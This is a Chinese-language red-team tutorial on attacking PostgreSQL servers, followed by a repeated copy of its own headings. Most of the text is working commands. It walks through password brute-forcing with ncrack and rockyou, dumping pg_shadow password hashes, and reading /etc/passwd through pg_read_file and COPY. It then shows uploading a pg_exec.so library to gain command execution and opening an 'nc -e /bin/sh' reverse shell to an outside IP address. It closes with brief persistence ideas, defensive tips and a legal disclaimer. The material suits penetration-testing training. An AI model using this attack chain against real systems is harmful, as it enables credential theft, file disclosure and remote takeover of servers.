红队的 PostgreSQL 攻击教程
字数 730 2025-08-26 22:11:29

PostgreSQL渗透测试指南

1. 服务发现

1.1 使用Nmap扫描

nmap sqlserver
  • 常用端口:5432 (PostgreSQL默认端口)
  • 其他扫描工具选项:masscan、unicornscan

2. 服务访问

2.1 密码爆破

使用ncrack爆破默认postgres账户

# 解压rockyou字典
gunzip /usr/share/wordlists/rockyou.txt.gz

# 使用ncrack爆破
ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt

其他爆破工具

  • Hydra
  • Medusa
  • Metasploit

2.2 连接数据库

psql --user postgres -h sqlserver

3. 服务侦察

3.1 用户和角色枚举

\du  -- 列出所有角色和权限
select usename, passwd from pg_shadow;  -- 获取用户和密码哈希

3.2 数据库和表枚举

\l  -- 列出所有数据库
\dt  -- 列出当前数据库中的表

4. 文件系统访问

4.1 目录列表

select pg_ls_dir('./');  -- 列出当前目录内容

4.2 文件读取

select pg_read_file('filename');  -- 读取文件内容
select pg_read_file('filename', offset, length);  -- 读取文件部分内容

4.3 通过COPY命令读取文件

create table docs (data TEXT);  -- 创建临时表
copy docs from '/etc/passwd';  -- 将文件内容复制到表中
select * from docs limit 10;  -- 查看文件内容

5. 命令执行

5.1 使用pg_exec扩展

  1. 下载预编译的pg_exec.so库

    curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so
    
  2. 分割文件(PostgreSQL大对象限制2KB)

    split -b 2048 pg_exec.so
    
  3. 创建上传脚本

    CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'))'; CNT=$(( CNT + 1 )); done > upload.sql
    
  4. 上传并导出文件

    select lo_creat(-1);  -- 创建大对象,记下返回的LOID
    \include upload.sql  -- 上传分割的文件块
    select lo_export(16391, '/tmp/pg_exec.so');  -- 导出到目标系统
    
  5. 创建函数

    CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;
    

5.2 获取反向shell

  1. 本地设置监听器

    nc -l -p 4444
    
  2. 执行反向shell

    select sys('nc -e /bin/sh 172.16.65.140 4444');
    
  3. 升级到TTY

    python -c 'import pty; pty.spawn("/bin/sh")'
    

6. 权限提升

6.1 检查PostgreSQL运行权限

select sys('whoami');

6.2 持久化方法

  • 创建计划任务
  • 安装后门服务
  • 内核漏洞利用

7. 防御措施

  1. 强密码策略:避免使用默认账户和弱密码
  2. 网络隔离:限制PostgreSQL服务的网络访问
  3. 权限最小化:PostgreSQL服务账户不应有root权限
  4. 禁用危险函数:限制或禁用pg_read_file等危险函数
  5. 定期更新:保持PostgreSQL版本最新
  6. 日志监控:监控异常登录和查询行为

8. 总结

本指南详细介绍了从发现PostgreSQL服务到获取系统权限的全过程,包括:

  • 服务发现与密码爆破
  • 数据库信息收集
  • 文件系统访问技术
  • 命令执行与反向shell获取
  • 权限提升思路

这些技术仅用于合法授权的渗透测试和安全研究,未经授权的使用可能违反法律。

PostgreSQL渗透测试指南 1. 服务发现 1.1 使用Nmap扫描 常用端口:5432 (PostgreSQL默认端口) 其他扫描工具选项:masscan、unicornscan 2. 服务访问 2.1 密码爆破 使用ncrack爆破默认postgres账户 其他爆破工具 Hydra Medusa Metasploit 2.2 连接数据库 3. 服务侦察 3.1 用户和角色枚举 3.2 数据库和表枚举 4. 文件系统访问 4.1 目录列表 4.2 文件读取 4.3 通过COPY命令读取文件 5. 命令执行 5.1 使用pg_ exec扩展 下载预编译的pg_ exec.so库 分割文件(PostgreSQL大对象限制2KB) 创建上传脚本 上传并导出文件 创建函数 5.2 获取反向shell 本地设置监听器 执行反向shell 升级到TTY 6. 权限提升 6.1 检查PostgreSQL运行权限 6.2 持久化方法 创建计划任务 安装后门服务 内核漏洞利用 7. 防御措施 强密码策略 :避免使用默认账户和弱密码 网络隔离 :限制PostgreSQL服务的网络访问 权限最小化 :PostgreSQL服务账户不应有root权限 禁用危险函数 :限制或禁用pg_ read_ file等危险函数 定期更新 :保持PostgreSQL版本最新 日志监控 :监控异常登录和查询行为 8. 总结 本指南详细介绍了从发现PostgreSQL服务到获取系统权限的全过程,包括: 服务发现与密码爆破 数据库信息收集 文件系统访问技术 命令执行与反向shell获取 权限提升思路 这些技术仅用于合法授权的渗透测试和安全研究,未经授权的使用可能违反法律。